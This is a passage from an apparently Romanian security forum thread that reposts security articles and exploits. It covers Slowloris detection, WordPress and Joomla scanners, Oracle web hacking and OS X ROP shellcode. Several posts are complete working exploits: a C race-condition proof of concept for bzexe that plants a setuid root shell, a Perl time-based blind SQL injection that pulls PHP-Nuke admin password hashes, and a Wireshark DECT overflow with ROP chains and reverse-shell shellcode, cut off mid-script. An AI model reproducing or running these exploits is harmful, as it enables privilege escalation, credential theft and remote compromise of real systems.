  15. Identifying Slow HTTP Attack Vulnerabilities on Web Applications Posted by Sergey Shekyan on 07-Jul-2011 09:09:01 Slow HTTP attacks rely on the fact that the HTTP protocol, by design, requires requests to be completely received by the server before they are processed. If an http request is not complete, or if the transfer rate is very low, the server keeps its resources busy waiting for the rest of the data. If the server keeps too many resources busy, this creates a denial of service. These types of attack are easy to execute because a single machine is able to establish thousands of connections to a server and generate thousands of unfinished HTTP requests in a very short period of time using minimal bandwidth. Due to implementation differences among various HTTP servers, two main attack vectors exist: Slowloris: Slowing down HTTP headers, making the server wait for the final CRLF, which indicates the end of the headers section; Slow POST: Slowing down the HTTP message body, making the server wait until all content arrives according to the Content-Length header; or until the final CRLF arrives, if HTTP 1.1 is being used and no Content-Length was declared. The scary part is that these attacks can just look like requests that are taking a long time, so it's hard to detect and prevent them by using traditional anti-DoS tools. Recent rumors indicate these attacks are happening right now: CIA.gov attacked using slowloris. QualysGuard Web Application Scanner (WAS) uses a number of approaches to detect vulnerability to these attacks. Slowloris Detection To detect a slow headers (a.k.a. Slowloris) attack vulnerability (Qualys ID 150079), WAS opens two connections to the server and requests the base URL provided in the scan configuration. The request sent to the first connection consists of a request line and one single header line but without the final CRLF, similar to the following: GET / HTTP/1.1 CRLF Connection: keep-alive CRLF The request sent to the second connection looks identical to the first one, but WAS sends a follow-up header line some interval later to make the HTTP server think the peer is still alive: Referer: http://www.qualys.com/products/qg_suite/was/ CRLF Currently that interval is approximately 10 seconds plus the average response time during the crawl phase. WAS considers the server platform vulnerable to a slowloris attack if the server closes the second connection more than 10 seconds later than the first one. In that case, the server prolonged its internal timeout value because it perceived the connection to be slow. Using a similar approach, an attacker could occupy a resource (thread or socket) on that server for virtually forever by sending a byte per T – 1 (or any random value less than T), where T is the timeout after which the server would drop the connection. WAS does not report the server to be vulnerable if it keeps both connections open for the same long period of time (more than 2 minutes, for example), as that would be a false positive if the target server were IIS (which has protection against slow header attacks, but is less tolerant of real slow connections). Slow POST Detection To detect a slow POST (a.k.a. Are-You-Dead-Yet) attack vulnerability (QID 150085), WAS opens two other connections, and uses an action URL of a form it discovered during the crawl phase that doesn't require authentication. The request sent to the first connection looks like the following: POST /url_that_accepts_post HTTP/1.1 CRLF Host: host_to_test:port_if_not_default CRLF User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0;) CRLF Connection: close CRLF Referer: http://www.qualys.com/products/qg_suite/was/ CRLF Content-Type: application/x-www-form-urlencoded CRLF Content-Length: 512 CRLF Accept: text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 CRLF CRLF foo=bar Similar to the slow headers approach, WAS sends an identical request to the second connection, and then 10 seconds later sends the following (again without the final CRLF): alpha=beta WAS considers the target vulnerable if any of the following conditions are met: The server keeps the second connection open 10 seconds longer than the first one, or The server keeps both connections open for more than 120 seconds, or The server doesn’t close both connections within a 5 minute period (as WAS limits slow tests to 5 minutes only). WAS assumes that if it is possible to either keep the connection open with an unfinished request for longer than 120 seconds or, even better, prolong the unfinished connection by sending a byte per T - 1 (or any random value less than T), then it’s possible to acquire all server sockets or threads within that interval. WAS also performs a supplemental test to determine unhealthy behavior in handling POST requests, by sending a simple POST request to the base URI with a relatively large message body (65543 Kbytes). The content of the body is a random set of ASCII characters, and the content type is set to application/x-www-form-urlencoded. WAS assumes that if the server blindly accepts that request, e.g. responds with 200, then it gives an attacker more opportunity to prolong the slow connection by sending one byte per T - 1. Multiplying 65543 by the T - 1 would give you the length of time an attacker could keep that connection open. QID 150086 is reported on detection of that behavior. Mitigation Tests performed by WAS are passive and as non-intrusive as possible, which minimizes the risk of taking down the server. But because of the possibility of false positives, care should be taken, especially if the HTTP server or IPS (Intrusion Prevention System) is configured to change data processing behavior if a certain number of suspicious requests are detected. If you are interested in active testing, which might take your server down, you can try some active testing using one of these available tools: * slowloris * r-u-dead-yet * OWASP HTTP Post Tool (tests against slow headers as well) Mitigation of slow HTTP attacks is platform specific, so it'd be nice for the community to share mitigation techniques in the comments below. I'll post an update with information on some of those platforms, as well as general recommendations that can be extrapolated to particular platforms. Sursa: https://community.qualys.com/blogs/securitylabs/2011/07/07/identifying-slow-http-attack-vulnerabilities-on-web-applications
  16. DOOM 3 Source Code Just like Quake 3 before it, the Doom 3 source code has been released to the public (minus rendering of stencil shadows via the 'depth fail' method, a functionality commonly known as 'Carmack's Reverse'). GitHub: https://github.com/TTimo/doom3.gpl
  17. POC bzexe (bzip2) race condition /* bzexec_PoC.c -- bzip2 (bzexe) race condition PoC Author: vladz (http://vladz.devzero.fr) Tested on: Debian 6.0.3 up to date (bzip2 version 1.0.5-6) This PoC exploits a race condition in the bzexe script. This tool is rarely used so I wasn't supposed to write an exploit. But some people on the full-disclosure list had doubts about this exploitation. Public discussion about this issue started from this post: http://seclists.org/fulldisclosure/2011/Oct/776. I am using Inotify to win the race (on my dual-core, it succeed 100%). Usage: ./bzexe_PoC <command_name> For instance, if "/bin/dd" has already been compressed with bzexe, launch: $ ./bzexe_PoC dd [*] launching attack against "dd" [+] creating evil script (/tmp/evil) [+] creating target directory (/tmp/dd) [+] initialize inotify [+] waiting for root to launch "dd" [+] opening root shell # whoami root */ #define _GNU_SOURCE #include <sys/inotify.h> #include <stdlib.h> #include <stdio.h> #include <unistd.h> #include <sys/syscall.h> #include <sys/stat.h> #include <sys/types.h> #include <string.h> #include <fcntl.h> int create_nasty_shell(char *file) { char *s = "#!/bin/bash\n" "echo 'main(){setuid(0);execve(\"/bin/sh\",0,0);}'>/tmp/sh.c\n" "cc /tmp/sh.c -o /tmp/sh; chown root:root /tmp/sh\n" "chmod 4755 /tmp/sh; rm -f ${0}; ${0##*/} $@\n"; int fd = open(file, O_CREAT|O_RDWR, S_IRWXU|S_IRWXG|S_IRWXO); write(fd, s, strlen(s)); close(fd); return 0; } int main(int argc, char **argv) { int fd, wd; char buf[1], *targetpath, *evilsh = "/tmp/evil", *trash = "/tmp/trash"; if (argc < 2) { printf("usage: %s <cmd name>\n", argv[0]); return 1; } printf("[*] launching attack against \"%s\"\n", argv[1]); printf("[+] creating evil script (/tmp/evil)\n"); create_nasty_shell(evilsh); targetpath = malloc(sizeof(argv[1]) + 6); sprintf(targetpath, "/tmp/%s", argv[1]); printf("[+] creating target directory (%s)\n", targetpath); mkdir(targetpath, S_IRWXU|S_IRWXG|S_IRWXO); printf("[+] initialize inotify\n"); fd = inotify_init(); wd = inotify_add_watch(fd, targetpath, IN_CREATE); printf("[+] waiting for root to launch \"%s\"\n", argv[1]); syscall(SYS_read, fd, buf, 1); syscall(SYS_rename, targetpath, trash); syscall(SYS_rename, evilsh, targetpath); inotify_rm_watch(fd, wd); printf("[+] opening root shell (/tmp/sh)\n"); sleep(2); system("rm -fr /tmp/trash;/tmp/sh || echo \"[-] Failed.\""); return 0; } Sursa: bzexe (bzip2) race condition
  18. WordPress Security Scanner Introduction WPScan is a vulnerability scanner which checks the security of WordPress installations using a black box approach. Details Username enumeration (from author querystring and location header) Weak password cracking (multithreaded) Version enumeration (from generator meta tag and from client side files) Vulnerability enumeration (based on version) Plugin enumeration (2220 most popular by default) Plugin vulnerability enumeration (based on version) Plugin enumeration list generation Other misc WordPress checks (theme name, dir listing, ...) Sponsor Sponsored by the RandomStorm Open Source Initiative. Videos: - - Download: http://code.google.com/p/wpscan/downloads/detail?name=wpscan-1.0.zip&can=2&q= Sursa: wpscan - WordPress Security Scanner - Google Project Hosting
  19. Joomscan Security Scanner - Detect more than 550 Joomla vulnerabilities Joomscan Security Scanner updated recently with new database have 550 vulnerabilities. Detects file inclusion, sql injection, command execution vulnerabilities of a target Joomla web site. Last update for this tool was in August, 2009 with 466 vulnerabilities. How to Use Joomscan, read here. In joomscan you can check for new updates with command: ./joomscan.pl check or ./joomscan.pl update. Download Windows: http://web-center.si/joomscan/joomscan.rar Download Linux: http://web-center.si/joomscan/joomscan.tar.gz More info: http://security.web-center.si/ Sursa: Joomscan Security Scanner - Detect more than 550 Joomla vulnerabilities ~ The Hacker News | Hacking News | Learn Ethical Hacking Training
  20. Oracle Web Hacking Part I and II By Chris Gates, CISSP, GCIH, C|EH, CPTS Part I: Oracle applications are not what you’d call simple. I think any DBA or Oracle Application Server Administrator will be the first to attest to that fact. Oracle, with its great products, comes with some un-pleasantries. These are: 1. Oracle applications are complicated (hopefully we all agree on this). 2. They come with loads of default content and no clear way to remove that content. There is no IISLockdown equivalent for Oracle applications. Content you don’t want must be removed manually. Some of this content can be used to run database queries, read documents, gather information via information leakage on the pages or perform XSS attacks. 3. Users have to pay for patches and extended advisory information (even then, no Proof of Concept code is released by Oracle). 4. And lastly, you have a fairly complicated patch/upgrade process which leads to an "it’s working, don’t touch it" mentality by a fair amount of admins. This provides a target rich environment for pentesters and bad guys. Let’s take a look. Part II: In the first article, Oracle Web Hacking Part I, I talked about scanning Oracle Application Servers for default content and how to use that content for information gathering. A pentester can utilize that information to run SQL queries and to gain a foothold into the network. I also talked about iSQLPlus and some fun things you can do with that application, if you are able to guess credentials for it. I also showed some Metasploit modules to help you accomplish all of it. In Part 2 of 3 of this ongoing series of columns, I’ll dive into attacking the Oracle Application Server Portal (OracleAS Portal). I’ll focus on Oracle 9i and 10g up to Release 2. With 11g (10.3.x) Oracle moved to Weblogic, and it’s completely different and therefore out of the scope of this series. But there are plenty of shops out there still using 9i and 10g, which gives us plenty of opportunity for breaking stuff. So, let’s get to it. Part I: http://www.ethicalhacker.net/content/view/363/24/ Part II: http://www.ethicalhacker.net/content/view/399/24/ Imi e lene sa le copiez si aranjez.
  21. Universal ROP shellcode for OS X x64 23/07/2011 - pa_kt One of the hurdles one will encounter during OS X exploitation is ASLR/DEP combination for 64-bit processes (32bit don’t have DEP [1]). When implemented correctly, it’s an effective mitigation, which can be circumvented only with an info leak. (Un)fortunately, OS X versions up to recent Lion (10.7) offer only incomplete ASLR which still allows attackers to succeed in their efforts to execute arbitrary code. One of the problems (among others) is dyld (dynamic loader) image being located at the same address in every process. This makes ROP possible — by controlling the stack, we can reuse snippets of code from dyld and, in effect, execute arbitrary code. The only public ROP dyld shellcode for OS X was presented in [1]. Charlie Miller’s version works under the assumption that that rax/rdi have specific values. Due to x64 calling convention [2] it is very probable that this precondition is met. Nevertheless it would be useful to create a shellcode with weaker assumptions — that’s exactly what this post is about. We will create a generic ROP shellcode, similiar to sayonara, but for OS X Stack pivoting We assume that rsp is fully controlled. Sometimes, achieving such state is a nontrivial task in itself — for every bug, exploitation can begin with different register/memory values. In [1], an easy case of stack pivoting is described — we start with rax pointing to controlled memory, and rdi to a valid buffer. We then set rsp = rax with: 0x00007fff5fc24c8b mov QWORD PTR [rdi+0x38],rax (irrelevant) 0x00007fff5fc24cd8 mov rsp,QWORD PTR [rdi+0x38] 0x00007fff5fc24cdc pop rdi 0x00007fff5fc24cdd ret Easy! The problem is, we might not be so lucky to start with rax pointing to fully controlled memory. For example, we may start with the following: call [rax+0x100] Where memory in range [rax, rax+0xF0] is random, and we control buffer starting at rax+0xF1. Starting conditions for every bug are different and pivoting the stack can be even harder than creating a ROP chain, since during pivoting the state we start with can be completely arbitrary, when during ROP we already control the stack. There is no generic way to remedy this problem, but having a large database of usable gadgets would certainly help . That brings us to an annoying problem: “leave” instruction. “Leave” is equivalent to: mov rsp, rbp pop rbp If we don’t control rbp, we will lose control of the stack. The problem is, “leave” is very often present before “ret”, effectively limiting the number of gadgets we can use. Fortunately, there is a little trick that will allow us to use any “leave” gadget. We need to create a “fake” stack frame with a series of 3 indirect calls, like so: call [rax]+------------+ (...)<--------------+ | call [rax+4]+ | | | | +----> push rbp | | mov rbp, rsp +-----------+ | (...) | | call [rax+8]+ | | | +-->continue | +--------------+ | | | | | +->(gadget) | leave +--------+ret Start from call [rax] and follow the execution flow along the arrows. With such construct, we can safely call any gadget ending with “leave / ret”. Such sequences (two indirect calls with different displacements near each other) may be rare, but we don’t need many of them, one is sufficient. We can use the second call (call [rax+4]) to jump to a sequence that will perturb rax and then jump back to “call [rax]“, allowing us to use the same “dispatcher” gadget as many times as we need to use a “leaver”. Here’s an example of such dispatcher, from dyld: DISPATCHER: __text:00007FFF5FC0D1BF call qword ptr [rax+78h] __text:00007FFF5FC0D1C2 mov rsi, rax __text:00007FFF5FC0D1C5 test rax, rax __text:00007FFF5FC0D1C8 jz short loc_7FFF5FC0D1E0 __text:00007FFF5FC0D1CA mov rax, [rbx] __text:00007FFF5FC0D1CD mov rcx, rbx __text:00007FFF5FC0D1D0 mov rdx, r12 __text:00007FFF5FC0D1D3 mov rdi, rbx __text:00007FFF5FC0D1D6 call qword ptr [rax+80h] FAKE FRAME SETUP: __text:00007FFF5FC0CD44 push rbp __text:00007FFF5FC0CD45 mov rbp, rsp __text:00007FFF5FC0CD48 mov [rbp+var_18], rbx __text:00007FFF5FC0CD4C mov [rbp+var_10], r12 __text:00007FFF5FC0CD50 mov [rbp+var_8], r13 __text:00007FFF5FC0CD54 sub rsp, 20h __text:00007FFF5FC0CD58 mov r12, rdi __text:00007FFF5FC0CD5B mov r13d, esi __text:00007FFF5FC0CD5E mov rax, [rdi] __text:00007FFF5FC0CD61 call qword ptr [rax+1A0h] Few preconditions related to register values must be met, for the gadgets above to work. Since we don’t control the stack during pivoting, we need to use gadgets ending with indirect jumps, or calls, to set registers and memory to necessary values. “Leave” problem is particulary crippling during pivoting and that’s when fake frames should be used. During ROP, it’s easier to just control rbp and point it to memory set earlier. ROP Plan is simple: use gadgets from dyld to create RWX memory area (using vm_protect), then copy normal shellcode to that area, and jump to it. Here’s the vm_protect call we will use to make memory from dyld’s .data section executable: __text:00007FFF5FC0D34A mov r8d, ebx ; new_protection __text:00007FFF5FC0D34D xor ecx, ecx ; set_maximum __text:00007FFF5FC0D34F mov rdx, rax ; size __text:00007FFF5FC0D352 mov rsi, [rbp+address] ; address __text:00007FFF5FC0D356 lea rax, _mach_task_self_ __text:00007FFF5FC0D35D mov edi, [rax] ; target_task __text:00007FFF5FC0D35F call _vm_protect __text:00007FFF5FC0D364 test eax, eax __text:00007FFF5FC0D366 jz short loc_7FFF5FC0D38D __text:00007FFF5FC0D38D loc_7FFF5FC0D38D: __text:00007FFF5FC0D38D cmp byte ptr [r12+0FAh], 0 __text:00007FFF5FC0D396 jz short loc_7FFF5FC0D406 __text:00007FFF5FC0D406 loc_7FFF5FC0D406: __text:00007FFF5FC0D406 mov rbx, [rbp+var_28] __text:00007FFF5FC0D40A mov r12, [rbp+var_20] __text:00007FFF5FC0D40E mov r13, [rbp+var_18] __text:00007FFF5FC0D412 mov r14, [rbp+var_10] __text:00007FFF5FC0D416 mov r15, [rbp+var_8] __text:00007FFF5FC0D41A leave __text:00007FFF5FC0D41B retn This is the same technique as in [1]. Few registers need to be set for this to work: registers used as parameters for vm_protect and rbp, to survive “leave / ret” at the end. We can set them one by one, jumping over different gadgets like described in [1], or set them all at once, using the following: __text:00007FFF5FC24CA1 mov rax, [rdi] __text:00007FFF5FC24CA4 mov rbx, [rdi+8] __text:00007FFF5FC24CA8 mov rcx, [rdi+10h] __text:00007FFF5FC24CAC mov rdx, [rdi+18h] __text:00007FFF5FC24CB0 mov rsi, [rdi+28h] __text:00007FFF5FC24CB4 mov rbp, [rdi+30h] __text:00007FFF5FC24CB8 mov r8, [rdi+40h] __text:00007FFF5FC24CBC mov r9, [rdi+48h] __text:00007FFF5FC24CC0 mov r10, [rdi+50h] __text:00007FFF5FC24CC4 mov r11, [rdi+58h] __text:00007FFF5FC24CC8 mov r12, [rdi+60h] __text:00007FFF5FC24CCC mov r13, [rdi+68h] __text:00007FFF5FC24CD0 mov r14, [rdi+70h] __text:00007FFF5FC24CD4 mov r15, [rdi+78h] __text:00007FFF5FC24CD8 mov rsp, [rdi+38h] __text:00007FFF5FC24CDC pop rdi __text:00007FFF5FC24CDD retn We can fill a buffer from dyld’s .data section with values we want to set registers with and simply call the above gadget. The only problem with this approach is rsp being overwritten (mov rsp, [rdi+38h]), but we can remedy this by creating a “fake” stack somewhere in memory . Below is a WRITE MEM gadget sequence we can use. __text:00007FFF5FC23373 pop rbx __text:00007FFF5FC23374 retn __text:00007FFF5FC24CDC pop rdi __text:00007FFF5FC24CDD retn __text:00007FFF5FC24CE1 mov [rdi+8], rbx __text:00007FFF5FC24CE5 mov [rdi+10h], rcx __text:00007FFF5FC24CE9 mov [rdi+18h], rdx __text:00007FFF5FC24CED mov [rdi+20h], rdi __text:00007FFF5FC24CF1 mov [rdi+28h], rsi __text:00007FFF5FC24CF5 mov [rdi+30h], rbp __text:00007FFF5FC24CF9 mov [rdi+38h], rsp __text:00007FFF5FC24CFD add qword ptr [rdi+38h], 8 __text:00007FFF5FC24D02 mov [rdi+40h], r8 __text:00007FFF5FC24D06 mov [rdi+48h], r9 __text:00007FFF5FC24D0A mov [rdi+50h], r10 __text:00007FFF5FC24D0E mov [rdi+58h], r11 __text:00007FFF5FC24D12 mov [rdi+60h], r12 __text:00007FFF5FC24D16 mov [rdi+68h], r13 __text:00007FFF5FC24D1A mov [rdi+70h], r14 __text:00007FFF5FC24D1E mov [rdi+78h], r15 __text:00007FFF5FC24D22 mov rsi, [rsp+0] __text:00007FFF5FC24D26 mov [rdi+80h], rsi __text:00007FFF5FC24D2D retn First we pop the value, then the address and finally set memory with “mov [rdi+8], rbx”. Notice that we also trash values higher is memory, from rdi+0x10, to rdi+0x80, so we need to remember to write to LOWER addresses first. We could copy our “normal shellcode” to RWX memory using the above sequence, but it would be wasteful in terms of stack space. Observe that to copy a single QWORD, we need 5 QWORDs on the stack (3 gadgets, address, value). It’s more efficient to create a small “stub” that will take care of this. ; copy normal shellcode to RWX area ; size = 0x1000 stub: lea rsi, [r15+offset] xor rcx, rcx inc rcx shl rcx, 12 lea rdi, [rel normal_shellcode] ;rip relative addressing rep movsb normal_shellcode: rsi is set to point to old stack (passed in r15), normal shellcode starts from a constant offset. We save a bit of space using rip-relative addressing (x64 feature) to set rdi, rather than a constant 8-byte address. To summarize: set register values in dyld’s .data buffer create a fake stack and a fake stack frame in memory copy stub to future RWX area set all registers to correct values use vm_protect to create RWX area load r15 with previous stack pointer jump to RWX memory stub will copy our “normal” shellcode from old stack to RWX mem ??? PROFIT! That’s it. The resulting ROP shellcode is bigger than the one in [1], but it doesn’t assume anything about registers. There is room for improvement, but in environments where you can spray megabytes of memory with javascript (like in Safari ), size of shellcode is not critical. You can download the final version here. References: [1] Charlie Miller, Mac OS X Hacking (Snow Leopard Edition), 2010 [2] Jon Larimer, Intro to x64 Reversing, 2011 Sursa: http://gdtr.wordpress.com/2011/07/23/universal-rop-shellcode-for-os-x-x64/
  22. So hardcore...
  23. PHP-Nuke 8.1.0.3.5b Downloads Remote Blind SQL Injection Authored by Dante90 | Site warwolfz.org PHP-Nuke versions 8.1.0.3.5b and below remote blind SQL injection exploit. #!/usr/bin/perl # [0-Day] PHP-Nuke <= 8.1.0.3.5b (Downloads) Remote Blind SQL Injection Exploit # Date: 2010.07.04 after 50 days the bug was discovered. # Author/s: Dante90, WaRWolFz Crew # Crew Members: 4lasthor, Andryxxx, Cod3, Gho5t, HeRtZ, N.o.3.X, RingZero, s3rg3770, # Shades Master, V1R5, yeat # Special Greetings To: The:Paradox # Greetings To: Shotokan-The Hacker, _mRkZ_, h473 # Web Site: www.warwolfz.org # My Wagend (Dante90): dante90wwz.altervista.org # ---- # Why have I decided to publish this? # Because some nice guys (Dr.0rYX and Cr3w-DZ) have ripped and published # my own exploit, with their names. # FUCKING LAMERS / RIPPERS / SCRIPT KIDDIE # ---- use strict; use warnings; use LWP::UserAgent; use HTTP::Cookies; use HTTP::Headers; use Time::HiRes; my $Victime = shift or &usage; my $Hash = ""; my ($Referer,$Time,$Response); my ($Start,$End); my @chars = (48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102); my $HostName = "http://www.victime_site.org/path/"; #Insert Victime Web Site Link my $Method = HTTP::Request->new(POST => $HostName.'modules.php?name=Downloads&d_op=Add'); my $Cookies = new HTTP::Cookies; my $UserAgent = new LWP::UserAgent( agent => 'Mozilla/5.0', max_redirect => 0, cookie_jar => $Cookies, default_headers => HTTP::Headers->new, ) or die $!; my $WaRWolFz = "http://www.warwolfz.org/"; my $DefaultTime = request($WaRWolFz); my $Post; sub Blind_SQL_Jnjection { my ($dec,$hex,$Victime) = @_; return "http://www.warwolfz.org/' UNION/**/SELECT IF(SUBSTRING(pwd,${dec},1)=CHAR(${hex}),benchmark(250000000,CHAR(0)),0) FROM nuke_authors WHERE aid='${Victime}"; } for(my $I=1; $I<=32; $I++){ #N Hash characters for(my $J=0; $J<=15; $J++){ #0 -> F $Post = Blind_SQL_Jnjection($I,$chars[$J],$Victime); $Time = request($Post); sleep(3); refresh($HostName, $DefaultTime, $chars[$J], $Hash, $Time, $I); if ($Time > 4) { $Time = request($Post); refresh($HostName, $DefaultTime, $chars[$J], $Hash, $Time, $I); if ($Time > 4) { syswrite(STDOUT,chr($chars[$J])); $Hash .= chr($chars[$J]); $Time = request($Post); refresh($HostName, $DefaultTime, $chars[$J], $Hash, $Time, $I); last; } } } if($I == 1 && length $Hash < 1 && !$Hash){ print " * Exploit Failed *\n"; print " -------------------------------------------------------- \n"; exit; } if($I == 32){ print " * Exploit Successfully Executed *\n"; print " -------------------------------------------------------- \n"; system("pause"); } } sub request{ $Post = $_[0]; $Start = Time::HiRes::time(); my $Response = $UserAgent->post($HostName.'modules.php?name=Downloads&d_op=Add', { title => "Dante90", url => $Post, description => "WaRWolFz Crew", auth_name => "Dante90", email => "dante90.dmc4\@hotmail.it", filesize => "1024", version => "1", homepage => "http://www.warwolfz.org/", d_op => "Add" }, Referer => $HostName.'modules.php?name=Downloads&d_op=Add'); $Response->is_success() or die "$HostName : ", $Response->message, "\n"; $End = Time::HiRes::time(); $Time = $End - $Start; return $Time; } sub usage { system("cls"); { print " \n [0-Day] PHP-Nuke <= 8.1.0.3.5b (Downloads) Remote Blind SQL Injection Exploit\n"; print " -------------------------------------------------------- \n"; print " * USAGE: *\n"; print " * cd [Local Disk]:\\[Directory Of Exploit]\\ *\n"; print " * perl name_exploit.pl [victime] *\n"; print " -------------------------------------------------------- \n"; print " * Powered By Dante90, WaRWolFz Crew *\n"; print " * www.warwolfz.org - dante90_founder[at]warwolfz.org *\n"; print " ------------------------------------------------------- \n"; }; exit; } sub refresh { system("cls"); { print " \n [0-Day] PHP-Nuke <= 8.1.0.3.5b (Downloads) Remote Blind SQL Injection Exploit\n"; print " -------------------------------------------------------- \n"; print " * USAGE: *\n"; print " * cd [Local Disk]:\\[Directory Of Exploit]\\ *\n"; print " * perl name_exploit.pl [victime] *\n"; print " -------------------------------------------------------- \n"; print " * Powered By Dante90, WaRWolFz Crew *\n"; print " * www.warwolfz.org - dante90_founder[at]warwolfz.org *\n"; print " ------------------------------------------------------- \n"; }; print " * Victime Site: " . $_[0] . "\n"; print " * Default Time: " . $_[1] . " seconds\n"; print " * BruteForcing Hash: " . chr($_[2]) . "\n"; print " * BruteForcing N Char Hash: " . $_[5] . "\n"; print " * SQL Time: " . $_[4] . " seconds\n"; print " * Hash: " . $_[3] . "\n"; } #WaRWolFz Crew Sursa: PHP-Nuke 8.1.0.3.5b Downloads Remote Blind SQL Injection ? Packet Storm
  24. Wireshark 1.4.4 DECT Dissector Buffer Overflow Authored by ipv Wireshark versions 1.4.4 and below DECT dissector remote buffer overflow exploit. #!/usr/bin/env python # -*- coding: iso-8859-15 -*- a = """ \n\t-- CVE: 2011-1591 : Wireshark <= 1.4.4 packet-dect.c dissect_dect() --\n # # -------- Team : Consortium-of-Pwners # -------- Author : ipv # -------- Impact : high # -------- Target : Archlinux wireshark-gtk-1.4.3-1-i686.pkg.tar.xz # -------- Description # # This code exploits a remote stack based buffer overflow in the DECT dissector of # wireshark. ROP chains aims to recover dynamically stack address, mprotect it and stack pivot to # shellcode located the payload. # All the process is automated, and bypass any NX/ALSR. # # Operating Systems tested : [see the summary] with scapy >= 2.5 # For any comments, remarks, news, please mail me : ipv _at_ [team] . net ###########################################################################\n""" import sys, struct if sys.version_info >= (2, 5): from scapy.all import * else: from scapy import * # align def _x(v): return struct.pack("<I", v) # Gadget Table - Arch linux v2010.05 default package # - wireshark-cli-1.4.3-1-i686.pkg.tar.xz # - wireshark-gtk-1.4.3-1-i686.pkg.tar.xz arch_rop_chain = [ # Safe SEIP overwrite _x(0x8069acb), # pop ebx ; pop esi ; pop ebp _x(0), _x(0x80e9360), _x(0), # fake (arg1, arg2, arg3), to avoid crash # mprotect 1st arg : stack & 0xffff0000 _x(0x8067d90), # push esp ; pop ebp _x(0x8081f2e), # xchg ebp eax _x(0x80f9d7f), # xchg ecx, eax _x(0x8061804), # pop eax _x(0xffff0000), # _x(0x80c69f0), # xchg edi, eax _x(0x80ff067), # and ecx edi ; dec ecx _x(0x8077c53), # inc ecx ; sub al 0x5d _x(0x8061804), # pop eax _x(0x7f16a5d0), # avoid crash with dec dword [ecx-0x76fbdb8c] _x(0x8048360), # xchg ecx eax _x(0x8089f46), # xchg edx eax ; std ; dec dword [ecx-0x76fbdb8c] _x(0x8067d90), # push esp ; pop ebp _x(0x8081f2e), # xchg ebp eax _x(0x8067d92)*7, # ret # 1st arg of mprotect is on esp+48 address (see below) _x(0x80745f9), # mov [eax+0x50] edx ; pop ebp _x(0), # we search address of mprotect (@mprotect = @fopen + 0x6fe70) _x(0x8065226), # pop eax _x(0x81aca20-0xc), # got[fopen] _x(0x8074597), # mov eax [eax+0xc] _x(0x8048360), # xchg ecx eax _x(0x8065226), # pop eax _x(0x6fe70), _x(0x8081f2e), # xchg ebp eax _x(0x806973d), # add ecx ebp _x(0x08104f61), # jmp *%ecx _x(0x0811eb63), # pop ebx, pop esi, pop edi # mprotect args (base_addr, page size, mode) _x(0), # Stack Map that is updated dynamically (see upper) _x(0x10000), # PAGE size 0x1000 _x(0x7), # RWX Mode # now we can jump to our lower addressed shellcode by decreasing esp register _x(0x8061804), # pop eax _x(0xff+0x50), # esp will be decreased of 0xff + 0x50 bytes; _x(0x80b8fc8), # xchg edi eax _x(0x8067d90), # push esp ; pop ebp _x(0x80acc63), # sub ebp, edi ; dec ecx _x(0x8081f2e), # xchg ebp eax _x(0x0806979e) # jmp *eax ] # Gadget Table - Bt4 compiled without SSP/FortifySource # Source wireshark 1.4.3 labs_rop_chain = [ # Safe SEIP overwrite _x(0x08073fa1), # pop ebx ; pop esi ; pop ebp _x(0), _x(0x0808c4d3), _x(0), # fake (arg1, arg2, arg3), to avoid crash # sys_mprotect : eax=125(0x7D) ; ebx=address base ; ecx = size page ; edx = mode # mprotect 3r d arg _x(0x080e64cf), # pop edx ; pop es ; add cl cl _x(0x7), _x(0x0), # RWX mode 0x7 # mprotect 1st arg (logical AND with stack address to get address base), _x(0x080a1711), # mov edi esp ; dec ecx _x(0x0815b74f), # pop ecx _x(0xffff0000), # _x(0x0804c73c), # xchg ecx eax _x(0x080fadd7), # and edi eax ; dec ecx _x(0x0804c73c), # xchg ecx eax _x(0x080af344), # mov ebx edi ; dec ecx # mprotect 2nd arg _x(0x0815b74f), # pop ecx _x(0x10000), # PAGE size 0x10000 # int 0x80 : here vdso is not randomized, so, we use it! _x(0x80d8b71), # pop eax _x(0x7D), # 0x7D = mprotect syscall _x(0x804e6df), # pop *esi _x(0xffffe411), # int 0x80 # _x(0xffffe414), # @sysenter in .vdso _x(0x080ab949), # jmp *esi # now we can jump to our lower addressed shellcode by decreasing esp register _x(0x0815b74f), # pop ecx _x(256), # esp will be decreased of 256bytes _x(0x080a1711), # mov edi esp ; dec ecx _x(0x081087d3), # sub edi ecx ; dec ecx _x(0x080f7cb1) # jmp *edi ] addr_os = { # ID # OS # STACK SIZE # GADGET TABLE 1 : ["Arch Linux 2010.05 ", 0xb9, arch_rop_chain], # wireshark-gtk-1.4.3-1-i686.pkg.tar.xz 2 : ["Labs test ", 0xbf, labs_rop_chain], -1 : ["Debian 5.0.8 Lenny ", -3, False], # wireshark_1.0.2-3+lenny12_i386.deb -2 : ["Debian 6.0.2 Squeeze ", -1, False], # wireshark_1.2.11-6+squeeze1_i386.deb -3 : ["Fedora 14 ", -1, False], # wireshark-1.4.3-1.2.2.i586.rpm -4 : ["OpenSuse 11.3 ", -1, False], # wireshark-1.4.3-1.2.2.i586.rpm -5 : ["Ubuntu 10.10 | 11.04 ", -1, False], # -6 : ["Gentoo * ", -2, False] # } print a def usage(): print "Please select and ID >= 0 :\n" print " ID TARGET INFO" print "--------------------------------------------------------------------" for i in addr_os.iteritems(): print " %2d -- %s "%(i[0], i[1][0]), if i[1][1] == -1: print "Default package uses LibSSP & Fortify Source" elif i[1][1] == -2: print "Compiled/Build with Fortify Source" elif i[1][1] == -3: print "DECT protocol not supported" else: print "VULN -> Stack size %d"%(i[1][1]) sys.exit(1) if len(sys.argv) == 1: usage() elif addr_os.has_key(int(sys.argv[1])) is False: usage() elif int(sys.argv[1]) < 0: usage() target = addr_os[int(sys.argv[1])] print "\n[+] Target : %s"%target[0] rop_chain = "".join([ rop for rop in target[2]]) # msfpayload linux/x86/shell_reverse_tcp LHOST=127.0.0.1 C rev_tcp_shell = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x68\x7f\x00\x00\x01\x66\x68\x11\x5c\x66\x53\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"; SEIP_SMASH = target[1] print "\t[+] Length for smashing SEIP : 0x%%d)"%(SEIP_SMASH, SEIP_SMASH) nopsled = "\x90" 